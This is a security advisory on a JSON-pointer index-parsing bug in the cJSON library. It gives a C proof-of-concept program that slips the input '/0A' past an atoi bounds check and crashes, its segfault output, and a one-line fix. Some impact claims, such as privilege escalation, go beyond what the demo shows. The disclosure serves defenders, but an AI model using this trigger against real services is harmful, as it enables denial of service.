Summary

A critical vulnerability exists in the cJSON library (cJSON_Utils.c, function decode_array_index_from_pointer) that allows attackers to bypass array bounds checks, potentially causing out-of-bounds memory access, segmentation faults, privilege escalation and denial of service, by exploiting improper input validation in JSON pointer parsing.


Vulnerability Details

  • Component: cJSON (cJSON_Utils.c)
  • Type: Array Index Parsing / Input Validation Bypass
  • Impact: Out-of-bounds memory access, segmentation fault, denial of service

The vulnerable code:

c
for (position = 0; (pointer[position] >= '0') && (pointer[0] <= '9'); position++)
{
    parsed_index = (10 * parsed_index) + (size_t)(pointer[position] - '0');
}

The loop incorrectly checks pointer[0] instead of pointer[position], allowing non-digit characters to be processed as part of the array index. For example, input "0A" is parsed as index 17 (0*10 + ('A'-'0') = 17), which is out of bounds for a 3-element array.


Exploitation

An attacker can craft JSON pointers with malformed indices (e.g., /0A) to trigger out-of-bounds array access. This may result in reading or writing outside the intended memory region, potentially causing segmentation faults (crashes) or denial of service. Application-level checks using standard integer parsing (e.g., atoi) can be bypassed, as cJSON will interpret the malformed index differently.

Proof of Concept

The following minimal C program demonstrates how a malformed index can cause cJSON to access out-of-bounds memory and potentially segfault:

c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

const char *users_json =
    "["
    "  {\"name\": \"Alice\", \"age\": 30, \"email\": \"alice@example.com\"},"
    "  {\"name\": \"Bob\", \"age\": 25, \"email\": \"bob@example.com\"},"
    "  {\"name\": \"Charlie\", \"age\": 28, \"email\": \"charlie@example.com\"}"
    "]";

void print_user(const cJSON *user) {
    cJSON *name = cJSON_GetObjectItem(user, "name");
    cJSON *age = cJSON_GetObjectItem(user, "age");
    cJSON *email = cJSON_GetObjectItem(user, "email");
    printf("Name: %s\n", name->valuestring);
    printf("Age: %d\n", age->valueint);
    printf("Email: %s\n", email->valuestring);
}

int main() {
    cJSON *users = cJSON_Parse(users_json);
    if (!users) {
        printf("Failed to parse users database.\n");
        return 1;
    }

    const char *test_indices[] = {"0", "1", "0A"};
    int user_count = cJSON_GetArraySize(users);
    for (int i = 0; i < 3; ++i) {
        char pointer[32];
        int idx = atoi(test_indices[i]);
        snprintf(pointer, sizeof(pointer), "/%s", test_indices[i]);
        printf("\nTrying index: %s\n", test_indices[i]);
        if (idx >= 0 && idx < user_count) {
            cJSON *user = cJSONUtils_GetPointer(users, pointer);
            print_user(user);
        } else {
            printf("Invalid or out-of-range index.\n");
        }
    }

    cJSON_Delete(users);
    return 0;
}

Supplying the index 0A will cause cJSON to access index 17, which is out of bounds and may result in a segmentation fault (crash).

Output

bash
Trying index: 0
Name: Alice
Age: 30
Email: alice@example.com

Trying index: 1
Name: Bob
Age: 25
Email: bob@example.com

Trying index: 0A
zsh: segmentation fault (core dumped)

Affected Use Cases

Any software using cJSON for JSON pointer parsing, including web APIs, embedded/IoT devices, and desktop/server applications. Especially critical in environments where malformed input can be supplied to JSON pointer APIs, as this can be exploited for denial of service.


Remediation

Fix: Change the loop condition to:

c
for (position = 0; (pointer[position] >= '0') && (pointer[position] <= '9'); position++)

References